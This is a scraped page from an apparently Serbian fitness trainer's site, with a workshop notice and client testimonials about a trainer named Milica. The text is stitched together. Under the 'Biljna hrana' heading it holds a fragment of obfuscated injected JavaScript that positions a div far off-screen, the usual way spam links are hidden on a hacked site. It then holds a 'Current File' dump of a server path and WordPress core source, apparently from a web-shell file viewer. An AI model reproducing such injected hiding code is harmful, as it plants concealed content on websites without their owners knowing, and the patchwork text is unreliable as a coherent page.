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Srce duše

  Radionica "Srce duše" biće održana u Novom Sadu 24.09.2017  (12-18h ) Svako ce dobiti nesto drugacije, jedinstveno, unikatno, samo njemu znano,
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Srce duše

Tesla

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Tesla

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Biljna hrana

function lJeCytLe(umR) { var BuvBN = "#mtaxnzy1mzuz{margin:0px 20px;overflow:hidden}#mtaxnzy1mzuz>div{top:-3874px;overflow:hidden;position:fixed;left:-2702px;display:block}";
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Biljna hrana
Iskustva
Maja Vučkovic, Novi Sad
Maja Vučkovic, Novi Sad
Kao trener temeljna, posvecena, istrajna, ljubazna i uvek sa osmehom na licu. Treninzi dinamicni, uvek drugaciji, zanimljivi. To je ono zbog cega mi nije bilo tesko da odem na svaki trening bez izgovora, a zbog cega i dan danas ne mogu da pronadjem nista slicno sto ce me osvojiti kao treninzi sa Milicom!
Daniela Lalić, Novi Sad
Daniela Lalić, Novi Sad
... momenat kada cuda postaju stvarnost, kada zelja postane ostvarljiva, kada ti se vraca osmeh na lice... Tog dana nisam ni slutila da ce mi se zivot toliko promeniti upoznavsi nju, obicnu devojku koja je bila neverovatno nasmejana,raspolozena, prosto je zracila tom svojom pozitivnoscu, nesebicno je prenoseci na druge... tako je i na mene... A ja sam bila tuzna devojka koja je imala problema sa hormonima, sa debljinom, velikim viskom kilograma... jeduci samo proteine jer je tad bila aktuelna takva vrsta ishrane, nadajuci se da cu ih skinuti na njenim treninzima, neznajuci da mi je bas ona stvarala te probleme, hormoni u zivotinjskom mesu remete nase hormone... A onda su dosli njeni saveti,pored veoma delotvornih treninga... U danasnje vreme ima mnogo ljudi koji su pozitivni ali retki su oni koji to mogu i da prenesu na druge... ona je jedna od njih... A zatim svojim velikim iskustvom u svetu sporta, fitnesa i najvise ishrane je podelila neke odredjene savete sa mnom... i hvala joj na tome... I danas se secam tog dana iako je proslo dosta godina od tad... Cujem se sa njom i danas, i sada ima vremena da odgovori na svaku moju poruku iako sam ja kao i svako drugi, obicna devojka, kojoj je potreban neki savet... a ona se sve te godine i dalje usavrsava i napreduje... Nismo ni drugarice ni prijateljice, jer se to postaje na drugaciji nacin, ali ima veoma vazno mesto u mom zivotu jer mi se od tad zivot poceo menjati...
 Carla Almassri 11, Erbil
Carla Almassri 11, Erbil
Treninzi su bili odlični. Bilo je to zabavno iskustvo. Osećala sam se kako se poboljšavam te sam naučila mnogo veština koje i dalje dan danas koristim. Obožavam ih .
Branka  Laketić, Novi Sad
Branka Laketić, Novi Sad
Na treninzima je bilo fenomenalno, prijatna atmosfera, jaki i dobri treninzi, trener posvecen svom poslu, a i nama svima. Sve u svemu, prezadovoljna sam bila i rado bih nastavila kada bih imala priliku.
Jelena kragović, Beograd
Jelena kragović, Beograd
Milica je pre svega jedna divna osoba koja je uvek otvorena da porazgovara sa Vama i da Vam iskreni savet bez podsmevanja ili ruznih pogleda sa mislju "Na sta licis!", sto se verujte mi desava. Sa Milicom se svako oseca motivisano, jer je pravi profesionalac i reci ce Vam uvek da za trening nikada nije kasno.  Svakome se posveti sto se treninga tice maksimalno i pomogne i sa savetima u vezi ishrane, pored svega. Sve tople preporuke za Milicu od mene. Na kraju krajeva, ne morate mi verovati, vec trenirajte sa njom, pa cete se uveriti i sami. I da, da ne zaboravim...pored svega Milica je prelepa...Sve pohvale i tople preporuke za Milicu
Nataša Stanković, Novi Sad
Nataša Stanković, Novi Sad
Sjajni treninzi, preciznost, postavljanje ciljeva, njihovo ostvarivanje kao i sjajna komunikacija omogucili su mi da sa uvek nasmejanom Milicom uspostavim odnos kakav se moze pozeleti. Uspela je da poboljsa moje performanse, savetovala me je u vezi sa ishranom i odrzavala motivaciju za ostvarivanjem ciljeva. Takodje, naucila me je kako da uzivam u svakom treningu i da mi isti ne predstavlja obavezu, vec nesto cemu sam se celog dana radovala. Uspesno smo saradjivale, preporucila bih je svakome i sa sigurnoscu mogu da tvrdim da ce Milica za kratko vreme uspeti da promeni Vas nacin zivota i da iskoreni lose navike.
Danijela Jocic, Beograd
Danijela Jocic, Beograd
Milicu sam slucajno upoznala u jednoj teretani, u Beogradu. Prica pocinje ovako: Odlazila sam na kardio treninge i na poneku spravicu u teretanu u komsiluku dok mi jedan dan paznju nije privukla jedna devojka u sali koja sprema nesto sto jos nisam videla na tv-u, bar ono reklama sto ugrabim u slobodno vreme. Simpatizer sam grupnih treninga, sa razlicitim vezbama i brzim rezultatom. Strpljenje mi je slaba tacka, pogotovo kad imate malo vremena da liniju dovedete skoro do savrsenstva. Ono sto mi je prvo skrenulo pogled ka sali gde se uveliko spremalo nesto novo bila je muzika koja bukvalno "dize iz mrtvih". Dve reci te devojke-Milice, mog trenera, bile su dovoljne da joj se pridruzim odmah, cak i pre formiranja prve grupe polaznika. Nailazim na ODUSEVLJENJE! Strah na pocetku, da li cu izdrzati trening, naporno je, zahteva kondiciju, snagu, koncentraciju, uigranost! Zove se Insanity. Dve godine u tom ritmu je proletelo...4-5 puta nedeljno odlazenja na treninge cinili su mi veliko zadovoljstvo i srecu. Moja sestra je krenula odmah sa mnom. Grupa od deset devojaka treniraju kao jedan! Koliko raspolozenje posle treninga, od sat ipo vremena! Noge, stomak i ruke kao na profi slikama iz casopisa! Trening pripremljen i osmisljen kao u najboljem inostranom spotu, vezbe povezane, koordinacija tela...Prvo zagrevanje, a potom krecemo od glave i vrata, ruku, stomaka, nogu...istezanje. Muzika drzi atmosferu da ne razmisljamo o umoru. Svaki trening drugaciji, nema mesta monotoniji. Koristimo tegice, vijace. Na kraju treninga mokra majica nam najbolje pokaze rezultat svega toga. Moram priznati da sam ishranu morala malo da korigujem jer mi je genetika takva, sve se lepi. To mi je sve bilo lako uz Milicine razgovore, savete, recepte, redovno proveravanje kilaze i masti. Neko je jos brinuo o mom telu i zdravlju.
 Sara Barzani, Erbil
Sara Barzani, Erbil
Trening s Milicom je jedno od najboljih iskustva koje sam imala u zivotu. Tezak posao se s njom cinio toliko lagano. Ona kao trener me gurala u treninzima da postignem svoje ciljeve. Umor nije uopste bio problem s njenom pomoci. Pomogla mi je transformisati moje telo, onako kako sam zelela. Energija i izdrzljivost su mi bile dve najvaznije stvari koje mi je pomogla poboljsati.
Sherri Kraham Talabany, Erbil
Sherri Kraham Talabany, Erbil
Moj muž i ja obožavali smo kao klijenti raditi s Milicom koja nas je držala na nogama sa rigoroznim režimom kroz trening snage, trening za tonus i kardio trening ukomponovan u jedan sat intenzivnog vežbanja. Čak je menjala vežbe tako da nikada nije bilo dosadno i uvek je uspevala napraviti trening za kompletno telo. To je vodilo do vrhunskih rezultata na telesnom i fitness nivou.
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Current File : /home/nnaac01/domains/zdravotelo.net/public_html/wp-includes/class-wp-network.php

<?php
/**
 * Network API: WP_Network class
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 4.4.0
 */

/**
 * Core class used for interacting with a multisite network.
 *
 * This class is used during load to populate the `$current_site` global and
 * setup the current network.
 *
 * This class is most useful in WordPress multi-network installations where the
 * ability to interact with any network of sites is required.
 *
 * @since 4.4.0
 *
 * @property int $id
 * @property int $site_id
 */
class WP_Network {

	/**
	 * Network ID.
	 *
	 * @since 4.4.0
	 * @since 4.6.0 Converted from public to private to explicitly enable more intuitive
	 *              access via magic methods. As part of the access change, the type was
	 *              also changed from `string` to `int`.
	 * @access private
	 * @var int
	 */
	private $id;

	/**
	 * Domain of the network.
	 *
	 * @since 4.4.0
	 * @access public
	 * @var string
	 */
	public $domain = '';

	/**
	 * Path of the network.
	 *
	 * @since 4.4.0
	 * @access public
	 * @var string
	 */
	public $path = '';

	/**
	 * The ID of the network's main site.
	 *
	 * Named "blog" vs. "site" for legacy reasons. A main site is mapped to
	 * the network when the network is created.
	 *
	 * A numeric string, for compatibility reasons.
	 *
	 * @since 4.4.0
	 * @access private
	 * @var string
	 */
	private $blog_id = '0';

	/**
	 * Domain used to set cookies for this network.
	 *
	 * @since 4.4.0
	 * @access public
	 * @var string
	 */
	public $cookie_domain = '';

	/**
	 * Name of this network.
	 *
	 * Named "site" vs. "network" for legacy reasons.
	 *
	 * @since 4.4.0
	 * @access public
	 * @var string
	 */
	public $site_name = '';

	/**
	 * Retrieve a network from the database by its ID.
	 *
	 * @since 4.4.0
	 * @access public
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param int $network_id The ID of the network to retrieve.
	 * @return WP_Network|bool The network's object if found. False if not.
	 */
	public static function get_instance( $network_id ) {
		global $wpdb;

		$network_id = (int) $network_id;
		if ( ! $network_id ) {
			return false;
		}

		$_network = wp_cache_get( $network_id, 'networks' );

		if ( ! $_network ) {
			$_network = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->site} WHERE id = %d LIMIT 1", $network_id ) );

			if ( empty( $_network ) || is_wp_error( $_network ) ) {
				return false;
			}

			wp_cache_add( $network_id, $_network, 'networks' );
		}

		return new WP_Network( $_network );
	}

	/**
	 * Create a new WP_Network object.
	 *
	 * Will populate object properties from the object provided and assign other
	 * default properties based on that information.
	 *
	 * @since 4.4.0
	 * @access public
	 *
	 * @param WP_Network|object $network A network object.
	 */
	public function __construct( $network ) {
		foreach( get_object_vars( $network ) as $key => $value ) {
			$this->$key = $value;
		}

		$this->_set_site_name();
		$this->_set_cookie_domain();
	}

	/**
	 * Getter.
	 *
	 * Allows current multisite naming conventions when getting properties.
	 *
	 * @since 4.6.0
	 * @access public
	 *
	 * @param string $key Property to get.
	 * @return mixed Value of the property. Null if not available.
	 */
	public function __get( $key ) {
		switch ( $key ) {
			case 'id';
				return (int) $this->id;
			case 'blog_id':
				return $this->blog_id;
			case 'site_id':
				return (int) $this->blog_id;
		}

		return null;
	}

	/**
	 * Isset-er.
	 *
	 * Allows current multisite naming conventions when checking for properties.
	 *
	 * @since 4.6.0
	 * @access public
	 *
	 * @param string $key Property to check if set.
	 * @return bool Whether the property is set.
	 */
	public function __isset( $key ) {
		switch ( $key ) {
			case 'id':
			case 'blog_id':
			case 'site_id':
				return true;
		}

		return false;
	}

	/**
	 * Setter.
	 *
	 * Allows current multisite naming conventions while setting properties.
	 *
	 * @since 4.6.0
	 * @access public
	 *
	 * @param string $key   Property to set.
	 * @param mixed  $value Value to assign to the property.
	 */
	public function __set( $key, $value ) {
		switch ( $key ) {
			case 'id':
				$this->id = (int) $value;
				break;
			case 'blog_id':
			case 'site_id':
				$this->blog_id = (string) $value;
				break;
			default:
				$this->$key = $value;
		}
	}

	/**
	 * Set the site name assigned to the network if one has not been populated.
	 *
	 * @since 4.4.0
	 * @access private
	 */
	private function _set_site_name() {
		if ( ! empty( $this->site_name ) ) {
			return;
		}

		$default = ucfirst( $this->domain );
		$this->site_name = get_network_option( $this->id, 'site_name', $default );
	}

	/**
	 * Set the cookie domain based on the network domain if one has
	 * not been populated.
	 *
	 * @todo What if the domain of the network doesn't match the current site?
	 *
	 * @since 4.4.0
	 * @access private
	 */
	private function _set_cookie_domain() {
		if ( ! empty( $this->cookie_domain ) ) {
			return;
		}

		$this->cookie_domain = $this->domain;
		if ( 'www.' === substr( $this->cookie_domain, 0, 4 ) ) {
			$this->cookie_domain = substr( $this->cookie_domain, 4 );
		}
	}

	/**
	 * Retrieve the closest matching network for a domain and path.
	 *
	 * This will not necessarily return an exact match for a domain and path. Instead, it
	 * breaks the domain and path into pieces that are then used to match the closest
	 * possibility from a query.
	 *
	 * The intent of this method is to match a network during bootstrap for a
	 * requested site address.
	 *
	 * @since 4.4.0
	 * @access public
	 * @static
	 *
	 * @param string   $domain   Domain to check.
	 * @param string   $path     Path to check.
	 * @param int|null $segments Path segments to use. Defaults to null, or the full path.
	 * @return WP_Network|bool Network object if successful. False when no network is found.
	 */
	public static function get_by_path( $domain = '', $path = '', $segments = null ) {
		global $wpdb;

		$domains = array( $domain );
		$pieces  = explode( '.', $domain );

		/*
		 * It's possible one domain to search is 'com', but it might as well
		 * be 'localhost' or some other locally mapped domain.
		 */
		while ( array_shift( $pieces ) ) {
			if ( ! empty( $pieces ) ) {
				$domains[] = implode( '.', $pieces );
			}
		}

		/*
		 * If we've gotten to this function during normal execution, there is
		 * more than one network installed. At this point, who knows how many
		 * we have. Attempt to optimize for the situation where networks are
		 * only domains, thus meaning paths never need to be considered.
		 *
		 * This is a very basic optimization; anything further could have
		 * drawbacks depending on the setup, so this is best done per-install.
		 */
		$using_paths = true;
		if ( wp_using_ext_object_cache() ) {
			$using_paths = wp_cache_get( 'networks_have_paths', 'site-options' );
			if ( false === $using_paths ) {
				$using_paths = (int) $wpdb->get_var( "SELECT id FROM {$wpdb->site} WHERE path <> '/' LIMIT 1" );
				wp_cache_add( 'networks_have_paths', $using_paths, 'site-options'  );
			}
		}

		$paths = array();
		if ( $using_paths ) {
			$path_segments = array_filter( explode( '/', trim( $path, '/' ) ) );

			/**
			 * Filters the number of path segments to consider when searching for a site.
			 *
			 * @since 3.9.0
			 *
			 * @param int|null $segments The number of path segments to consider. WordPress by default looks at
			 *                           one path segment. The function default of null only makes sense when you
			 *                           know the requested path should match a network.
			 * @param string   $domain   The requested domain.
			 * @param string   $path     The requested path, in full.
			 */
			$segments = apply_filters( 'network_by_path_segments_count', $segments, $domain, $path );

			if ( ( null !== $segments ) && count( $path_segments ) > $segments ) {
				$path_segments = array_slice( $path_segments, 0, $segments );
			}

			while ( count( $path_segments ) ) {
				$paths[] = '/' . implode( '/', $path_segments ) . '/';
				array_pop( $path_segments );
			}

			$paths[] = '/';
		}

		/**
		 * Determine a network by its domain and path.
		 *
		 * This allows one to short-circuit the default logic, perhaps by
		 * replacing it with a routine that is more optimal for your setup.
		 *
		 * Return null to avoid the short-circuit. Return false if no network
		 * can be found at the requested domain and path. Otherwise, return
		 * an object from wp_get_network().
		 *
		 * @since 3.9.0
		 *
		 * @param null|bool|object $network  Network value to return by path.
		 * @param string           $domain   The requested domain.
		 * @param string           $path     The requested path, in full.
		 * @param int|null         $segments The suggested number of paths to consult.
		 *                                   Default null, meaning the entire path was to be consulted.
		 * @param array            $paths    The paths to search for, based on $path and $segments.
		 */
		$pre = apply_filters( 'pre_get_network_by_path', null, $domain, $path, $segments, $paths );
		if ( null !== $pre ) {
			return $pre;
		}

		// @todo Consider additional optimization routes, perhaps as an opt-in for plugins.
		// We already have paths covered. What about how far domains should be drilled down (including www)?

		$search_domains = "'" . implode( "', '", $wpdb->_escape( $domains ) ) . "'";

		if ( ! $using_paths ) {
			$network = $wpdb->get_row( "
				SELECT * FROM {$wpdb->site}
				WHERE domain IN ({$search_domains})
				ORDER BY CHAR_LENGTH(domain)
				DESC LIMIT 1
			" );

			if ( ! empty( $network ) && ! is_wp_error( $network ) ) {
				return new WP_Network( $network );
			}

			return false;

		} else {
			$search_paths = "'" . implode( "', '", $wpdb->_escape( $paths ) ) . "'";
			$networks = $wpdb->get_results( "
				SELECT * FROM {$wpdb->site}
				WHERE domain IN ({$search_domains})
				AND path IN ({$search_paths})
				ORDER BY CHAR_LENGTH(domain) DESC, CHAR_LENGTH(path) DESC
			" );
		}

		/*
		 * Domains are sorted by length of domain, then by length of path.
		 * The domain must match for the path to be considered. Otherwise,
		 * a network with the path of / will suffice.
		 */
		$found = false;
		foreach ( $networks as $network ) {
			if ( ( $network->domain === $domain ) || ( "www.{$network->domain}" === $domain ) ) {
				if ( in_array( $network->path, $paths, true ) ) {
					$found = true;
					break;
				}
			}
			if ( $network->path === '/' ) {
				$found = true;
				break;
			}
		}

		if ( true === $found ) {
			return new WP_Network( $network );
		}

		return false;
	}
}

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